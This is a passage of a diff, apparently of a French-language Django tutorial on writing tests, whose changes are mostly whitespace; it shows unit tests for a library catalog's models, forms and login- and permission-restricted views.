f'{self.last_name}, {self.first_name}' + def __str__(self): + return f'{self.last_name}, {self.first_name}' ``` Ouvrez notre **/catalog/tests/test_models.py**, et remplacez tout le code qui s'y trouve par le code de test ci-après pour le modèle `Author`. -Vous voyez que nous importons d'abord `TestCase` et faisons dériver d'elle notre classe de test (`AuthorModelTest`) en utilisant un nom descriptif, de façon à pouvoir identifier aisément dans la sortie tout test qui échoue. Nous appelons ensuite `setUpTestData()` afin de créer un objet _author_, que nous utiliserons mais que nous ne modifierons jamais dans aucun de nos tests. +Vous voyez que nous importons d'abord `TestCase` et faisons dériver d'elle notre classe de test (`AuthorModelTest`) en utilisant un nom descriptif, de façon à pouvoir identifier aisément dans la sortie tout test qui échoue. Nous appelons ensuite `setUpTestData()` afin de créer un objet _author_, que nous utiliserons mais que nous ne modifierons jamais dans aucun de nos tests. ```python from django.test import TestCase @@ -351,26 +351,26 @@ self.assertEquals(field_label, 'first name') Les choses intéressantes à noter sont : -- Nous ne pouvons obtenir le `verbose_name` directement en utilisant `author.first_name.verbose_name`, car `author.first_name` est une _chaîne_ (non un moyen d'accéder à l'objet `first_name`, que nous pourrions utiliser pour accéder à ses propriétés). À la place nous devons utiliser l'attribut `_meta` de author afin d'obtenir une instance de ses champs et utiliser celle-ci pour demander l'information que nous cherchons. -- Nous avons fait le choix d'utiliser `assertEquals(field_label,'first name')` plutôt que `assertTrue(field_label == 'first name')`. La raison en est que, en cas d'échec du test, la sortie vous dira, dans le premier cas, quel est effectivement le label du champ, ce qui rend un peu plus facile le débogage du problème. +- Nous ne pouvons obtenir le `verbose_name` directement en utilisant `author.first_name.verbose_name`, car `author.first_name` est une _chaîne_ (non un moyen d'accéder à l'objet `first_name`, que nous pourrions utiliser pour accéder à ses propriétés). À la place nous devons utiliser l'attribut `_meta` de author afin d'obtenir une instance de ses champs et utiliser celle-ci pour demander l'information que nous cherchons. +- Nous avons fait le choix d'utiliser `assertEquals(field_label,'first name')` plutôt que `assertTrue(field_label == 'first name')`. La raison en est que, en cas d'échec du test, la sortie vous dira, dans le premier cas, quel est effectivement le label du champ, ce qui rend un peu plus facile le débogage du problème. -> **Note :** Les tests pour les labels de `last_name` et `date_of_birth`, ainsi que le test de la longueur du champ `last_name`, ont été omis. Ajoutez vos propres versions maintenant, en suivant les conventions de nommage et les approches que nous vous avons montrées ci-dessus. +> **Note :** Les tests pour les labels de `last_name` et `date_of_birth`, ainsi que le test de la longueur du champ `last_name`, ont été omis. Ajoutez vos propres versions maintenant, en suivant les conventions de nommage et les approches que nous vous avons montrées ci-dessus. -Il nous faut également tester nos méthodes personnalisées. Essentiellement, celles-ci vérifient uniquement que le nom de l'objet a été construit comme prévu, en utilisant le format "Last name", "First name", et que l'URL que nous obtenons pour un élément `Author` est telle que nous l'attendons. +Il nous faut également tester nos méthodes personnalisées. Essentiellement, celles-ci vérifient uniquement que le nom de l'objet a été construit comme prévu, en utilisant le format "Last name", "First name", et que l'URL que nous obtenons pour un élément `Author` est telle que nous l'attendons. ```python def test_object_name_is_last_name_comma_first_name(self): - author = Author.objects.get(id=1) - expected_object_name = f'{author.last_name}, {author.first_name}' - self.assertEquals(expected_object_name, str(author)) + author = Author.objects.get(id=1) + expected_object_name = f'{author.last_name}, {author.first_name}' + self.assertEquals(expected_object_name, str(author)) def test_get_absolute_url(self): - author = Author.objects.get(id=1) - # This will also fail if the urlconf is not defined. - self.assertEquals(author.get_absolute_url(), '/catalog/author/1') + author = Author.objects.get(id=1) + # This will also fail if the urlconf is not defined. + self.assertEquals(author.get_absolute_url(), '/catalog/author/1') ``` -Maintenant lancez les tests. Si vous avez créé le modèle `Author` comme décrit dans le tutoriel sur les modèles, il est assez probable que vous allez obtenir une erreur pour le label `date_of_death`, comme montré ci-dessous. Le test plante parce qu'il a été écrit en s'attendant à ce que la définition du label suive cette convention de Django : ne pas mettre en capitale la première lettre du label (Django le fait pour vous). +Maintenant lancez les tests. Si vous avez créé le modèle `Author` comme décrit dans le tutoriel sur les modèles, il est assez probable que vous allez obtenir une erreur pour le label `date_of_death`, comme montré ci-dessous. Le test plante parce qu'il a été écrit en s'attendant à ce que la définition du label suive cette convention de Django : ne pas mettre en capitale la première lettre du label (Django le fait pour vous). ```bash ====================================================================== @@ -431,38 +431,38 @@ from django.utils import timezone from catalog.forms import RenewBookForm class RenewBookFormTest(TestCase): - def test_renew_form_date_field_label(self): - form = RenewBookForm() - self.assertTrue(form.fields['renewal_date'].label == None or form.fields['renewal_date'].label == 'renewal date') - - def test_renew_form_date_field_help_text(self): - form = RenewBookForm() - self.assertEqual(form.fields['renewal_date'].help_text, 'Enter a date between now and 4 weeks (default 3).') - - def test_renew_form_date_in_past(self): - date = datetime.date.today() - datetime.timedelta(days=1) - form = RenewBookForm(data={'renewal_date': date}) - self.assertFalse(form.is_valid()) - - def test_renew_form_date_too_far_in_future(self): - date = datetime.date.today() + datetime.timedelta(weeks=4) + datetime.timedelta(days=1) - form = RenewBookForm(data={'renewal_date': date}) - self.assertFalse(form.is_valid()) - - def test_renew_form_date_today(self): - date = datetime.date.today() - form = RenewBookForm(data={'renewal_date': date}) - self.assertTrue(form.is_valid()) - - def test_renew_form_date_max(self): - date = timezone.localtime() + datetime.timedelta(weeks=4) - form = RenewBookForm(data={'renewal_date': date}) - self.assertTrue(form.is_valid()) + def test_renew_form_date_field_label(self): + form = RenewBookForm() + self.assertTrue(form.fields['renewal_date'].label == None or form.fields['renewal_date'].label == 'renewal date') + + def test_renew_form_date_field_help_text(self): + form = RenewBookForm() + self.assertEqual(form.fields['renewal_date'].help_text, 'Enter a date between now and 4 weeks (default 3).') + + def test_renew_form_date_in_past(self): + date = datetime.date.today() - datetime.timedelta(days=1) + form = RenewBookForm(data={'renewal_date': date}) + self.assertFalse(form.is_valid()) + + def test_renew_form_date_too_far_in_future(self): + date = datetime.date.today() + datetime.timedelta(weeks=4) + datetime.timedelta(days=1) + form = RenewBookForm(data={'renewal_date': date}) + self.assertFalse(form.is_valid()) + + def test_renew_form_date_today(self): + date = datetime.date.today() + form = RenewBookForm(data={'renewal_date': date}) + self.assertTrue(form.is_valid()) + + def test_renew_form_date_max(self): + date = timezone.localtime() + datetime.timedelta(weeks=4) + form = RenewBookForm(data={'renewal_date': date}) + self.assertTrue(form.is_valid()) ``` -Les deux premières fonctions testent que le `label` et le `help_text` du champ sont tels qu'on les attend. Nous devons accéder au champ en utilisant le dictionnaire du champ (p. ex. `form.fields['renewal_date']`). Notez bien ici que nous devons aussi tester si la valeur du label est `None`, car même si Django rend le label correct, il retournera `None` si la valeur n'est pas définie _explicitement_. +Les deux premières fonctions testent que le `label` et le `help_text` du champ sont tels qu'on les attend. Nous devons accéder au champ en utilisant le dictionnaire du champ (p. ex. `form.fields['renewal_date']`). Notez bien ici que nous devons aussi tester si la valeur du label est `None`, car même si Django rend le label correct, il retournera `None` si la valeur n'est pas définie _explicitement_. -Les autres fonctions testent que le formulaire est valide avec des dates de renouvellement situées à l'intérieur des limites acceptables, et invalide avec des valeurs en dehors de ces limites. Notez comment nous construisons des valeurs de dates de test autour de notre date actuelle (`datetime.date.today()`) en utilisant `datetime.timedelta()` (dans ce cas en spécifiant un nombre de jours ou de semaines). Ensuite nous créons juste le formulaire en lui passant nos données, et nous testons s'il est valide. +Les autres fonctions testent que le formulaire est valide avec des dates de renouvellement situées à l'intérieur des limites acceptables, et invalide avec des valeurs en dehors de ces limites. Notez comment nous construisons des valeurs de dates de test autour de notre date actuelle (`datetime.date.today()`) en utilisant `datetime.timedelta()` (dans ce cas en spécifiant un nombre de jours ou de semaines). Ensuite nous créons juste le formulaire en lui passant nos données, et nous testons s'il est valide. > **Note :** Ici nous n'utilisons pas réellement la base de données ni le client de test. Envisagez de modifier ces tests pour utiliser [SimpleTestCase](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#django.test.SimpleTestCase). > @@ -472,9 +472,9 @@ C'est tout pour les formulaires; nous en avons d'autres, mais ils sont automatiq ### Vues -Pour valider le comportement de notre vue, nous utilisons le [client](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#django.test.Client) de test de Django. Cette classe se comporte comme un navigateur web fictif que nous pouvons utiliser pour simuler des requêtes `GET` et `POST` à une URL donnée, et observer la réponse. Nous pouvons voir à peu près tout au sujet de la réponse, depuis le HTTP bas-niveau (entêtes et codes de statut résultants) jusqu'au template que nous utilisons pour rendre le HTML et aux données de contexte que nous lui passons. Nous pouvons aussi voir la chaîne des redirections (s'il y en a) et vérifier l'URL et le code de statut à chaque étape. Cela nous permet de vérifier que chaque vue se comporte comme prévu. +Pour valider le comportement de notre vue, nous utilisons le [client](https://docs.djangoproject.com/en/2.1/topics/testing/tools/#django.test.Client) de test de Django. Cette classe se comporte comme un navigateur web fictif que nous pouvons utiliser pour simuler des requêtes `GET` et `POST` à une URL donnée, et observer la réponse. Nous pouvons voir à peu près tout au sujet de la réponse, depuis le HTTP bas-niveau (entêtes et codes de statut résultants) jusqu'au template que nous utilisons pour rendre le HTML et aux données de contexte que nous lui passons. Nous pouvons aussi voir la chaîne des redirections (s'il y en a) et vérifier l'URL et le code de statut à chaque étape. Cela nous permet de vérifier que chaque vue se comporte comme prévu. -Commençons avec l'une de nos vues les plus simples, celle qui fournit une liste de tous les auteurs. Elle est affichée à l'URL **/catalog/authors/** (une URL nommée 'authors' dans la configuration des URL). +Commençons avec l'une de nos vues les plus simples, celle qui fournit une liste de tous les auteurs. Elle est affichée à l'URL **/catalog/authors/** (une URL nommée 'authors' dans la configuration des URL). ```python class AuthorListView(generic.ListView): @@ -493,47 +493,47 @@ from django.urls import reverse from catalog.models import Author class AuthorListViewTest(TestCase): - @classmethod - def setUpTestData(cls): - # Create 13 authors for pagination tests - number_of_authors = 13 + @classmethod + def setUpTestData(cls): + # Create 13 authors for pagination tests + number_of_authors = 13 - for author_id in range(number_of_authors): - Author.objects.create( + for author_id in range(number_of_authors): + Author.objects.create( first_name=f'Christian {author_id}', last_name=f'Surname {author_id}', ) - def test_view_url_exists_at_desired_location(self): - response = self.client.get('/catalog/authors/') - self.assertEqual(response.status_code, 200) - - def test_view_url_accessible_by_name(self): - response = self.client.get(reverse('authors')) - self.assertEqual(response.status_code, 200) - - def test_view_uses_correct_template(self): - response = self.client.get(reverse('authors')) - self.assertEqual(response.status_code, 200) - self.assertTemplateUsed(response, 'catalog/author_list.html') - - def test_pagination_is_ten(self): - response = self.client.get(reverse('authors')) - self.assertEqual(response.status_code, 200) - self.assertTrue('is_paginated' in response.context) - self.assertTrue(response.context['is_paginated'] == True) - self.assertTrue(len(response.context['author_list']) == 10) - - def test_lists_all_authors(self): - # Get second page and confirm it has (exactly) remaining 3 items - response = self.client.get(reverse('authors')+'?page=2') - self.assertEqual(response.status_code, 200) - self.assertTrue('is_paginated' in response.context) - self.assertTrue(response.context['is_paginated'] == True) - self.assertTrue(len(response.context['author_list']) == 3) + def test_view_url_exists_at_desired_location(self): + response = self.client.get('/catalog/authors/') + self.assertEqual(response.status_code, 200) + + def test_view_url_accessible_by_name(self): + response = self.client.get(reverse('authors')) + self.assertEqual(response.status_code, 200) + + def test_view_uses_correct_template(self): + response = self.client.get(reverse('authors')) + self.assertEqual(response.status_code, 200) + self.assertTemplateUsed(response, 'catalog/author_list.html') + + def test_pagination_is_ten(self): + response = self.client.get(reverse('authors')) + self.assertEqual(response.status_code, 200) + self.assertTrue('is_paginated' in response.context) + self.assertTrue(response.context['is_paginated'] == True) + self.assertTrue(len(response.context['author_list']) == 10) + + def test_lists_all_authors(self): + # Get second page and confirm it has (exactly) remaining 3 items + response = self.client.get(reverse('authors')+'?page=2') + self.assertEqual(response.status_code, 200) + self.assertTrue('is_paginated' in response.context) + self.assertTrue(response.context['is_paginated'] == True) + self.assertTrue(len(response.context['author_list']) == 3) ``` -Tous les tests utilisent le client (qui appartient à notre classe dérivée de `TestCase`), afin de simuler une requête `GET` et d'obtenir une réponse. La première version vérifie une URL spécifique (note : seulement le chemin spécifique, sans le domaine), tandis que la seconde génère une URL à partir de son nom tel qu'il se trouve dans la configuration des URL. +Tous les tests utilisent le client (qui appartient à notre classe dérivée de `TestCase`), afin de simuler une requête `GET` et d'obtenir une réponse. La première version vérifie une URL spécifique (note : seulement le chemin spécifique, sans le domaine), tandis que la seconde génère une URL à partir de son nom tel qu'il se trouve dans la configuration des URL. ```python response = self.client.get('/catalog/authors/') @@ -542,7 +542,7 @@ response = self.client.get(reverse('authors')) Une fois que nous avons la réponse, nous lui demandons son code de statut, le template utilisé, si la réponse est paginée ou non, le nombre d'éléments retournés et le nombre total d'éléments. -> **Note :** Si, dans votre fichier **/catalog/views.py**, vous mettez la variable `paginate_by` à un nombre autre que 10, assurez-vous de mettre à jour les lignes qui testent le nombre correct d'éléments affichés dans les templates paginés, ci-dessus et dans les sections qui suivent. Par exemple, si vous mettez à 5 la variable pour la liste des auteurs, changez ainsi la ligne ci-dessus : +> **Note :** Si, dans votre fichier **/catalog/views.py**, vous mettez la variable `paginate_by` à un nombre autre que 10, assurez-vous de mettre à jour les lignes qui testent le nombre correct d'éléments affichés dans les templates paginés, ci-dessus et dans les sections qui suivent. Par exemple, si vous mettez à 5 la variable pour la liste des auteurs, changez ainsi la ligne ci-dessus : > > ```python > self.assertTrue(len(response.context['author_list']) == 5) @@ -552,7 +552,7 @@ La variable la plus intéressante que nous montrons ci-dessus est `response.cont #### Vues limitées aux utilisateurs connectés -Dans certains cas, vous voudrez tester une vue qui est limitée aux seuls utilisateurs connectés. Par exemple notre vue `LoanedBooksByUserListView` est très semblable à notre vue précédente, mais n'est accessible qu'aux utilisateurs connectés, et n'affiche que des enregistrements de type `BookInstance` qui sont empruntés par l'utilisateur courant, ont le statut 'on loan', et sont triés 'le plus ancien en premier'. +Dans certains cas, vous voudrez tester une vue qui est limitée aux seuls utilisateurs connectés. Par exemple notre vue `LoanedBooksByUserListView` est très semblable à notre vue précédente, mais n'est accessible qu'aux utilisateurs connectés, et n'affiche que des enregistrements de type `BookInstance` qui sont empruntés par l'utilisateur courant, ont le statut 'on loan', et sont triés 'le plus ancien en premier'. ```python from django.contrib.auth.mixins import LoginRequiredMixin @@ -567,9 +567,9 @@ class LoanedBooksByUserListView(LoginRequiredMixin, generic.ListView): return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back') ``` -Ajoutez le code de test suivant à **/catalog/tests/test_views.py**. Ici nous utilisons d'abord la méthode `SetUp()` pour créer des logins de comptes d'utilisateurs et des objets de type `BookInstance` (avec leurs livres et autres enregistrements associés), que nous utiliserons plus tard dans les tests. La moitié des livres sont empruntés par chaque utilisateur-test, mais nous avons initialement mis le statut de tous les livres à "maintenance". Nous avons utilisé `SetUp()` plutôt que `setUpTestData()`, parce que nous allons modifier plus tard certains de ces objets. +Ajoutez le code de test suivant à **/catalog/tests/test_views.py**. Ici nous utilisons d'abord la méthode `SetUp()` pour créer des logins de comptes d'utilisateurs et des objets de type `BookInstance` (avec leurs livres et autres enregistrements associés), que nous utiliserons plus tard dans les tests. La moitié des livres sont empruntés par chaque utilisateur-test, mais nous avons initialement mis le statut de tous les livres à "maintenance". Nous avons utilisé `SetUp()` plutôt que `setUpTestData()`, parce que nous allons modifier plus tard certains de ces objets. -> **Note :** Le code de `setUp()` ci-dessous crée un livre avec un `Language` spécifique, mais _votre_ code n'inclut peut-être pas le modèle `Language`, étant donné que celui-ci a été créé lors d'un _défi_. Si c'est le cas, commentez simplement les bouts de code qui créent ou importent des objets de type Language. Vous devrez aussi le faire dans la section `RenewBookInstancesViewTest` qui suit. +> **Note :** Le code de `setUp()` ci-dessous crée un livre avec un `Language` spécifique, mais _votre_ code n'inclut peut-être pas le modèle `Language`, étant donné que celui-ci a été créé lors d'un _défi_. Si c'est le cas, commentez simplement les bouts de code qui créent ou importent des objets de type Language. Vous devrez aussi le faire dans la section `RenewBookInstancesViewTest` qui suit. ```python import datetime @@ -580,19 +580,19 @@ from django.contrib.auth.models import User # Required to assign User as a borro from catalog.models import BookInstance, Book, Genre, Language class LoanedBookInstancesByUserListViewTest(TestCase): - def setUp(self): - # Create two users - test_user1 = User.objects.create_user(username='testuser1', password='1X<ISRUkw+tuK') - test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&3iD') + def setUp(self): + # Create two users + test_user1 = User.objects.create_user(username='testuser1', password='1X<ISRUkw+tuK') + test_user2 = User.objects.create_user(username='testuser2', password='2HJ1vRV0Z&3iD') test_user1.save() - test_user2.save() + test_user2.save() - # Create a book - test_author = Author.objects.create(first_name='John', last_name='Smith') - test_genre = Genre.objects.create(name='Fantasy') - test_language = Language.objects.create(name='English') - test_book = Book.objects.create( + # Create a book + test_author = Author.objects.create(first_name='John', last_name='Smith') + test_genre = Genre.objects.create(name='Fantasy') + test_language = Language.objects.create(name='English') + test_book = Book.objects.create( title='Book Title', summary='My book summary', isbn='ABCDEFG', @@ -601,17 +601,17 @@ class LoanedBookInstancesByUserListViewTest(TestCase): ) # Create genre as a post-step - genre_objects_for_book = Genre.objects.all() - test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed. - test_book.save() - - # Create 30 BookInstance objects - number_of_book_copies = 30 - for book_copy in range(number_of_book_copies): - return_date = timezone.localtime() + datetime.timedelta(days=book_copy%5) - the_borrower = test_user1 if book_copy % 2 else test_user2 - status = 'm' - BookInstance.objects.create( + genre_objects_for_book = Genre.objects.all() + test_book.genre.set(genre_objects_for_book) # Direct assignment of many-to-many types not allowed. + test_book.save() + + # Create 30 BookInstance objects + number_of_book_copies = 30 + for book_copy in range(number_of_book_copies): + return_date = timezone.localtime() + datetime.timedelta(days=book_copy%5) + the_borrower = test_user1 if book_copy % 2 else test_user2 + status = 'm' + BookInstance.objects.create( book=test_book, imprint='Unlikely Imprint, 2016', due_back=return_date, @@ -619,86 +619,86 @@ class LoanedBookInstancesByUserListViewTest(TestCase): status=status, ) - def test_redirect_if_not_logged_in(self): - response = self.client.get(reverse('my-borrowed')) - self.assertRedirects(response, '/accounts/login/?next=/catalog/mybooks/') + def test_redirect_if_not_logged_in(self): + response = self.client.get(reverse('my-borrowed')) + self.assertRedirects(response, '/accounts/login/?next=/catalog/mybooks/') - def test_logged_in_uses_correct_template(self): - login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') - response = self.client.get(reverse('my-borrowed')) + def test_logged_in_uses_correct_template(self): + login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') + response = self.client.get(reverse('my-borrowed')) - # Check our user is logged in - self.assertEqual(str(response.context['user']), 'testuser1') - # Check that we got a response "success" - self.assertEqual(response.status_code, 200) + # Check our user is logged in + self.assertEqual(str(response.context['user']), 'testuser1') + # Check that we got a response "success" + self.assertEqual(response.status_code, 200) - # Check we used correct template - self.assertTemplateUsed(response, 'catalog/bookinstance_list_borrowed_user.html') + # Check we used correct template + self.assertTemplateUsed(response, 'catalog/bookinstance_list_borrowed_user.html') ``` -Pour vérifier que la vue redirige à une page de login si l'utilisateur n'est pas connecté, nous utilisons `assertRedirects`, comme montré dans `test_redirect_if_not_logged_in()`. Pour vérifier que la page est affichée pour un utilisateur connecté, nous connectons d'abord notre utilisateur-test, et ensuite nous accédons de nouveau à la page et vérifions que nous obtenons un `status_code` de 200 (succès). +Pour vérifier que la vue redirige à une page de login si l'utilisateur n'est pas connecté, nous utilisons `assertRedirects`, comme montré dans `test_redirect_if_not_logged_in()`. Pour vérifier que la page est affichée pour un utilisateur connecté, nous connectons d'abord notre utilisateur-test, et ensuite nous accédons de nouveau à la page et vérifions que nous obtenons un `status_code` de 200 (succès). Le reste des test vérifie que notre vue ne retourne que les livres qui sont prêtés à notre emprunteur courant. Copiez ce code et collez le à la fin de la classe de test ci-dessus. ```python - def test_only_borrowed_books_in_list(self): - login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') - response = self.client.get(reverse('my-borrowed')) - - # Check our user is logged in - self.assertEqual(str(response.context['user']), 'testuser1') - # Check that we got a response "success" - self.assertEqual(response.status_code, 200) - - # Check that initially we don't have any books in list (none on loan) - self.assertTrue('bookinstance_list' in response.context) - self.assertEqual(len(response.context['bookinstance_list']), 0) - - # Now change all books to be on loan - books = BookInstance.objects.all()[:10] - - for book in books: - book.status = 'o' - book.save() - - # Check that now we have borrowed books in the list - response = self.client.get(reverse('my-borrowed')) - # Check our user is logged in - self.assertEqual(str(response.context['user']), 'testuser1') - # Check that we got a response "success" - self.assertEqual(response.status_code, 200) - - self.assertTrue('bookinstance_list' in response.context) - - # Confirm all books belong to testuser1 and are on loan - for bookitem in response.context['bookinstance_list']: - self.assertEqual(response.context['user'], bookitem.borrower) - self.assertEqual('o', bookitem.status) - - def test_pages_ordered_by_due_date(self): - # Change all books to be on loan - for book in BookInstance.objects.all(): - book.status='o' - book.save() - - login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') - response = self.client.get(reverse('my-borrowed')) - - # Check our user is logged in - self.assertEqual(str(response.context['user']), 'testuser1') - # Check that we got a response "success" - self.assertEqual(response.status_code, 200) - - # Confirm that of the items, only 10 are displayed due to pagination. - self.assertEqual(len(response.context['bookinstance_list']), 10) - - last_date = 0 - for book in response.context['bookinstance_list']: - if last_date == 0: - last_date = book.due_back - else: + def test_only_borrowed_books_in_list(self): + login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') + response = self.client.get(reverse('my-borrowed')) + + # Check our user is logged in + self.assertEqual(str(response.context['user']), 'testuser1') + # Check that we got a response "success" + self.assertEqual(response.status_code, 200) + + # Check that initially we don't have any books in list (none on loan) + self.assertTrue('bookinstance_list' in response.context) + self.assertEqual(len(response.context['bookinstance_list']), 0) + + # Now change all books to be on loan + books = BookInstance.objects.all()[:10] + + for book in books: + book.status = 'o' + book.save() + + # Check that now we have borrowed books in the list + response = self.client.get(reverse('my-borrowed')) + # Check our user is logged in + self.assertEqual(str(response.context['user']), 'testuser1') + # Check that we got a response "success" + self.assertEqual(response.status_code, 200) + + self.assertTrue('bookinstance_list' in response.context) + + # Confirm all books belong to testuser1 and are on loan + for bookitem in response.context['bookinstance_list']: + self.assertEqual(response.context['user'], bookitem.borrower) + self.assertEqual('o', bookitem.status) + + def test_pages_ordered_by_due_date(self): + # Change all books to be on loan + for book in BookInstance.objects.all(): + book.status='o' + book.save() + + login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') + response = self.client.get(reverse('my-borrowed')) + + # Check our user is logged in + self.assertEqual(str(response.context['user']), 'testuser1') + # Check that we got a response "success" + self.assertEqual(response.status_code, 200) + + # Confirm that of the items, only 10 are displayed due to pagination. + self.assertEqual(len(response.context['bookinstance_list']), 10) + + last_date = 0 + for book in response.context['bookinstance_list']: + if last_date == 0: + last_date = book.due_back + else: self.assertTrue(last_date <= book.due_back) - last_date = book.due_back + last_date = book.due_back ``` Vous pourriez aussi ajouter les tests de pagination, si vous voulez ! @@ -714,38 +714,38 @@ from catalog.forms import RenewBookForm @permission_required('catalog.can_mark_returned') def renew_book_librarian(request, pk): - """View function for renewing a specific BookInstance by librarian.""" - book_instance = get_object_or_404(BookInstance, pk=pk) + """View function for renewing a specific BookInstance by librarian.""" + book_instance = get_object_or_404(BookInstance, pk=pk) - # If this is a POST request then process the Form data - if request.method == 'POST': + # If this is a POST request then process the Form data + if request.method == 'POST': - # Create a form instance and populate it with data from the request (binding): - book_renewal_form = RenewBookForm(request.POST) + # Create a form instance and populate it with data from the request (binding): + book_renewal_form = RenewBookForm(request.POST) - # Check if the form is valid: - if form.is_valid(): - # process the data in form.cleaned_data as required (here we just write it to the model due_back field) - book_instance.due_back = form.cleaned_data['renewal_date'] - book_instance.save() + # Check if the form is valid: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_instance.due_back = form.cleaned_data['renewal_date'] + book_instance.save() - # redirect to a new URL: - return HttpResponseRedirect(reverse('all-borrowed')) + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed')) - # If this is a GET (or any other method) create the default form - else: - proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) - book_renewal_form = RenewBookForm(initial={'renewal_date': proposed_renewal_date}) + # If this is a GET (or any other method) create the default form + else: + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + book_renewal_form = RenewBookForm(initial={'renewal_date': proposed_renewal_date}) context = { 'book_renewal_form': book_renewal_form, 'book_instance': book_instance, } - return render(request, 'catalog/book_renew_librarian.html', context) + return render(request, 'catalog/book_renew_librarian.html', context) ``` -Nous allons devoir tester que la vue n'est disponible qu'aux utilisateurs ayant la permission `can_mark_returned`, et que les utilisateurs sont bien redirigés vers une page d'erreur HTTP 404 s'ils essaient de renouveler une `BookInstance` inexistante. Nous devons vérifier que la valeur initiale du formulaire est remplie avec une date de trois semaines dans le futur, et que si la validation réussit, nous sommes redirigés vers la vue "tous les livres empruntés". Dans le cadre des tests sur l'échec de la validation, nous allons aussi vérifier que notre formulaire envoie les bons messages d'erreur. +Nous allons devoir tester que la vue n'est disponible qu'aux utilisateurs ayant la permission `can_mark_returned`, et que les utilisateurs sont bien redirigés vers une page d'erreur HTTP 404 s'ils essaient de renouveler une `BookInstance` inexistante. Nous devons vérifier que la valeur initiale du formulaire est remplie avec une date de trois semaines dans le futur, et que si la validation réussit, nous sommes redirigés vers la vue "tous les livres empruntés". Dans le cadre des tests sur l'échec de la validation, nous allons aussi vérifier que notre formulaire envoie les bons messages d'erreur. Ajoutez la première partie de la classe de test ci-dessous à la fin du fichier **/catalog/tests/test_views.py**. Cela crée deux utilisateurs et deux instances de livres, mais ne donne qu'à un seul utilisateur la permission d'accéder à la vue. Le code pour autoriser les permissions durant les tests est montrée en gras : @@ -805,75 +805,75 @@ class RenewBookInstancesViewTest(TestCase): ) ``` -Ajoutez les tests suivants à la fin de la classe de test. Ils vérifient que seuls les utilisateurs avec les bonnes permissions (_testuser2_) peuvent accéder à la vue. Nous vérifions tous les cas : quand l'utilisateur n'est pas connecté, quand un utilisateur est connecté mais n'a pas les permissions requises, quand l'utilisateur a les permissions mais n'est pas l'emprunteur (ce test devrait réussir), et ce qui se passe quand ils tentent d'accéder à une `BookInstance` inexistante. Nous vérifions aussi que le bon template est utilisé. +Ajoutez les tests suivants à la fin de la classe de test. Ils vérifient que seuls les utilisateurs avec les bonnes permissions (_testuser2_) peuvent accéder à la vue. Nous vérifions tous les cas : quand l'utilisateur n'est pas connecté, quand un utilisateur est connecté mais n'a pas les permissions requises, quand l'utilisateur a les permissions mais n'est pas l'emprunteur (ce test devrait réussir), et ce qui se passe quand ils tentent d'accéder à une `BookInstance` inexistante. Nous vérifions aussi que le bon template est utilisé. ```python def test_redirect_if_not_logged_in(self): - response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) - # Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable) - self.assertEqual(response.status_code, 302) - self.assertTrue(response.url.startswith('/accounts/login/')) + response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) + # Manually check redirect (Can't use assertRedirect, because the redirect URL is unpredictable) + self.assertEqual(response.status_code, 302) + self.assertTrue(response.url.startswith('/accounts/login/')) - def test_redirect_if_logged_in_but_not_correct_permission(self): - login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') - response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) - self.assertEqual(response.status_code, 403) + def test_redirect_if_logged_in_but_not_correct_permission(self): + login = self.client.login(username='testuser1', password='1X<ISRUkw+tuK') + response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) + self.assertEqual(response.status_code, 403) - def test_logged_in_with_permission_borrowed_book(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') - response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance2.pk})) + def test_logged_in_with_permission_borrowed_book(self): + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance2.pk})) - # Check that it lets us login - this is our book and we have the right permissions. - self.assertEqual(response.status_code, 200) + # Check that it lets us login - this is our book and we have the right permissions. + self.assertEqual(response.status_code, 200) - def test_logged_in_with_permission_another_users_borrowed_book(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') - response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) + def test_logged_in_with_permission_another_users_borrowed_book(self): + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) - # Check that it lets us login. We're a librarian, so we can view any users book - self.assertEqual(response.status_code, 200) + # Check that it lets us login. We're a librarian, so we can view any users book + self.assertEqual(response.status_code, 200) - def test_HTTP404_for_invalid_book_if_logged_in(self): + def test_HTTP404_for_invalid_book_if_logged_in(self): # unlikely UID to match our bookinstance! - test_uid = uuid.uuid4() - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') - response = self.client.get(reverse('renew-book-librarian', kwargs={'pk':test_uid})) - self.assertEqual(response.status_code, 404) - - def test_uses_correct_template(self): - login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') - response = self.client.get(reverse('renew-book-librarian', kwargs={'pk': self.test_bookinstance1.pk})) - self.assertEqual(response.status_code, 200) - - # Check we used correct template - self.assertTemplateUsed(response, 'catalog/book_renew_librarian.html') + test_uid = uuid.uuid4() + login = self.client.login(username='testuser2', password='2HJ1vRV0Z&3iD') + response = self.client.get(reverse('renew-book-librarian', kwargs={'pk':test_uid})) + self.assertEqual(response.status_code, 404) + + def test_uses_correct_template(self): + login = 